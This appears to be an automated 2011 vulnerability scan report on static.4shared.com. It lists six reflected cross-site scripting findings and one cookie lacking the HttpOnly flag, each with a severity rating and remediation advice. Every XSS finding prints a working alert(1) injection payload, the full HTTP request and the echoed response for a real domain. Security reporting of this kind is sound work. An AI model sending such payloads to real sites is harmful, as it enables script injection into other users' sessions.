XSS, Cross Site Scripting, CWe-79, CAPEC-86, static.4share.com

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by CloudScan Vulnerability Crawler at Sun Feb 27 16:20:09 CST 2011.


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1. Cross-site scripting (reflected)

1.1. http://static.4shared.com/css/indexn.css [REST URL parameter 1]

1.2. http://static.4shared.com/css/indexn.css [REST URL parameter 1]

1.3. http://static.4shared.com/css/indexn.css [REST URL parameter 1]

1.4. http://static.4shared.com/css/indexn.css [REST URL parameter 2]

1.5. http://static.4shared.com/css/indexn.css [REST URL parameter 2]

1.6. http://static.4shared.com/css/indexn.css [REST URL parameter 2]

2. Cookie without HttpOnly flag set



1. Cross-site scripting (reflected)  next
There are 6 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://static.4shared.com/css/indexn.css [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/indexn.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c7dda"-alert(1)-"715da6ca417 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cssc7dda"-alert(1)-"715da6ca417/indexn.css?ver=1228 HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /cssc7dda"-alert(1)-"715da6ca417/indexn.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=6F4AADE5D1DB48FB6D894AC06932145E.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 16 Feb 2011 13:18:58 GMT
Content-Length: 42396


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>4shared.com - free file sharing and
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/cssc7dda"-alert(1)-"715da6ca417/indexn.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.2. http://static.4shared.com/css/indexn.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/indexn.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8c130'-alert(1)-'ab36007b33b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css8c130'-alert(1)-'ab36007b33b/indexn.css?ver=1228 HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /css8c130'-alert(1)-'ab36007b33b/indexn.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=FC63DD17C5777447FC5B9C0FF4FBE564.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 16 Feb 2011 13:19:00 GMT
Content-Length: 42396


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>4shared.com - free file sharing and
...[SNIP]...
f(typeof loginBox == 'undefined'){
$('#loginBoxDiv').load('/loginBox.jsp',
{
login : '',
password : '',
fpRedirParam : 'http://static.4shared.com/css8c130'-alert(1)-'ab36007b33b/indexn.css',
remember : false


},
function(){
showLoginBox();
}
);
}else{
showLoginBox();
}
}

f
...[SNIP]...

1.3. http://static.4shared.com/css/indexn.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/indexn.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript inline comment. The payload 403a9*/alert(1)//1f078f5da1f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css403a9*/alert(1)//1f078f5da1f/indexn.css?ver=1228 HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /css403a9*/alert(1)//1f078f5da1f/indexn.css
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=5308EB772ABB83F2E646DE15D43F048B.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 16 Feb 2011 13:19:01 GMT
Content-Length: 42386


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>4shared.com - free file sharing and
...[SNIP]...
ypeof signUpBox == 'undefined'){
$('#signUpBoxDiv').load('/signUpBox.jsp',
{
login : '',
password : '',
fpRedirParam : 'http://static.4shared.com/css403a9*/alert(1)//1f078f5da1f/indexn.css',
remember : false,
df : df

},
function(){
showSignUpBox();
}
);
}else{
showSignUpBox();
}
...[SNIP]...

1.4. http://static.4shared.com/css/indexn.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/indexn.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript inline comment. The payload e05d6*/alert(1)//c692039655e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/indexn.csse05d6*/alert(1)//c692039655e?ver=1228 HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /css/indexn.csse05d6*/alert(1)//c692039655e
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=E75AB92D8FDF46FB43B3CBDD2A4882FC.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 16 Feb 2011 13:19:06 GMT
Content-Length: 42384


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>4shared.com - free file sharing and
...[SNIP]...
pBox == 'undefined'){
$('#signUpBoxDiv').load('/signUpBox.jsp',
{
login : '',
password : '',
fpRedirParam : 'http://static.4shared.com/css/indexn.csse05d6*/alert(1)//c692039655e',
remember : false,
df : df

},
function(){
showSignUpBox();
}
);
}else{
showSignUpBox();
}
*/
}
...[SNIP]...

1.5. http://static.4shared.com/css/indexn.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/indexn.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 74d51'-alert(1)-'a0cfd2b8c7b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/indexn.css74d51'-alert(1)-'a0cfd2b8c7b?ver=1228 HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /css/indexn.css74d51'-alert(1)-'a0cfd2b8c7b
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=3F0248D0418669EBF459E935FF98E46D.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 16 Feb 2011 13:19:04 GMT
Content-Length: 42396


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>4shared.com - free file sharing and
...[SNIP]...
ginBox == 'undefined'){
$('#loginBoxDiv').load('/loginBox.jsp',
{
login : '',
password : '',
fpRedirParam : 'http://static.4shared.com/css/indexn.css74d51'-alert(1)-'a0cfd2b8c7b',
remember : false


},
function(){
showLoginBox();
}
);
}else{
showLoginBox();
}
}

function ens
...[SNIP]...

1.6. http://static.4shared.com/css/indexn.css [REST URL parameter 2]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/indexn.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload acfc3"-alert(1)-"ae693123067 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/indexn.cssacfc3"-alert(1)-"ae693123067?ver=1228 HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 404 /css/indexn.cssacfc3&quot;-alert(1)-&quot;ae693123067
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=E18965CEA72C16B7E33E21F1EF6EA2F6.dc293; Path=/
Content-Type: text/html;charset=UTF-8
Date: Wed, 16 Feb 2011 13:19:03 GMT
Content-Length: 42396


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>4shared.com - free file sharing and
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://static.4shared.com/css/indexn.cssacfc3"-alert(1)-"ae693123067";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

2. Cookie without HttpOnly flag set  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://static.4shared.com
Path:   /css/indexn.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /css/indexn.css?ver=1228 HTTP/1.1
Host: static.4shared.com
Proxy-Connection: keep-alive
Referer: http://www.4shared.com/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: hostid=616148714; Expires=Sat, 13-Feb-2021 13:18:38 GMT; Path=/
Cache-Control: public, max-age=432000
Expires: Mon, 21 Feb 2011 13:18:38 GMT
ETag: W/"17625-1296122390000"
Last-Modified: Thu, 27 Jan 2011 09:59:50 GMT
Content-Type: text/css
Content-Length: 17625
Date: Wed, 16 Feb 2011 13:18:37 GMT


body {padding: 0px; background: #FFFFFF; margin:0px;
font-family: Arial, Tahoma, "Trebuchet MS",sans-serif; font-size:12px; color:#585b55;

}

a:link, a:visited {color:#006699}
a:hover {colo
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Sun Feb 27 16:20:09 CST 2011.